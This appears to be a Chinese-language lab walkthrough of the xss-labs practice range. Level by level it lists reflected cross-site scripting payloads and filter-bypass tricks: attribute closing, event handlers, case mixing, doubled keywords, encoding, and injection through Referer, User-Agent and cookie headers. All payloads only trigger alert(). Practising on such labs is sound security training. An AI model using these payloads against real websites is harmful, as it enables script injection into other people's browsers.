xss-labs
xss-labs
level1
观察后直接再url上的test添加
1 | <script>alert("100")</script> |
level2
使用搜索框,输入
1 | <script>alert("100")</script> |
但是被过滤了一部分
< > “ ”被过滤
因此需要绕过
查资料之后发现,< > “ ”被转化成实体html字符实体。
但是,语句经过了一个input转化为文本,于是可以利用input闭合
1 | "><script>alert("100")</script> |
level3
即使对input进行闭合,也无法绕过,依然会对<>等进行过滤
于是需要有一个不用<>的语句
查资料发现有以下几种
1 | ' onclick ='javascript:alert(1)' |
点击事件
1 | ' onmouseover='javascript:alert(1)' |
鼠标移入
1 | 'onfocus='javascript:alert(1)' |
聚焦点击
level4
单引号换成双引号即可
level5
本题测试之后,首先过滤<>,还有在on,script中会插入_
那么之前的方法都不能用了
使用
1 | "><input type="url" src="javascript:alert(‘xss’);"> |
进行构造,发现">留在了搜索框的后面,也就是说有url的注入
可以用
1 | "><a href=javascript:alert('xss')>100</a> |
进行构造
level6
比较有趣的是,相比于level5,6少了一个对输入全小写的处理过程,于是可以用大小写绕过str_replace
1 | "><a hrEf=javascript:alert('xss')>100</a> |
level7
过滤script,href,因此需要新思路来看,由于是直接删除字段,那么根据sqli-labs的less25来看,对其进行双写即可
1 | "><a hrehreff=javascrscriptipt:alert('xss')>100</a> |
level8
过滤script,href以及双引号,因此需要看一下源码,发现注入点有两个,其中一个直接放入中的url中,于是直接用javascript:alert(‘xss’)同时逃过即可
而在使用url时,会进行一次解码,所以用unicode编码绕过
1 | javascript:alert('xss') |
或者
1 | javascript:alert('xss') |
level9
需要具有http://的字段
于是
1 | javascript:alert('xsshttp://') |
level10
查看源码发现只有t_sort可以利用,但是在没有源码的情况下如何测试?
1 | &t_link=" type="text" &t_history=" type="text" &t_sort=" type="text" |
直接将其放入url发现只有t_sort有反应
然后就可以直接构造payload
1 | &t_sort=" type="text” onmouseover="javascript:alert(1) |
level11
1 | &t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text |
依然是t_sort有反应,把上一题的payload扔进去,发现”“转码了
使用unicode试试,发现传不进去
只能看源码了,发现直接跟refer有关,因此需要抓包了
然后发现refer直接传到t_ref的value中
于是可以直接构造
1 | " type="text" onmousemove="alert(1) |
level12
在UA处进行注入
1 | " type="text" onmousemove="alert(1) |
level13
靶场好像出了一点点问题
出现了不正常的warning,问题不大,看了源码后就可以直接发现是cookie
level14
整个网页有问题没法做
最终的payload为
1 | '"><img src=1 onerror=alert(document.domain)>' |
原理为img的链接不存在会直接执行报错语句
level15
刚开始有一个404界面,删去src之后正常了
那么src就是其中的一个注入点,看源码之后发现其中有一个ng-include:在body里面
那么根据查了一下资料
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
1 | <element ng-include="filename" onload="expression" autoscroll="expression" ></element> |
ng-include 指令作为元素使用:
1 | <ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include> |
也就是说可以利用同域名下的网页包含xss
1 | level1.php?name=<script>alert("100")</script> |
但是没法成功
1 | ?src='level1.php?name=<img src=1 onerror=alert("xss")>' |
上面都是可行的(不知道为什么)
level16
过滤了空格和/
可以用%0a,%0d代替
1 | <img%0asrc=2%0aonerror=alert(1)> |
level17-20
插件不支持(IE也只能支持17和18,19出bug)
1 | ?arg01=a&arg02=b%20onmouseover=%27javascript:alert(1)%27 |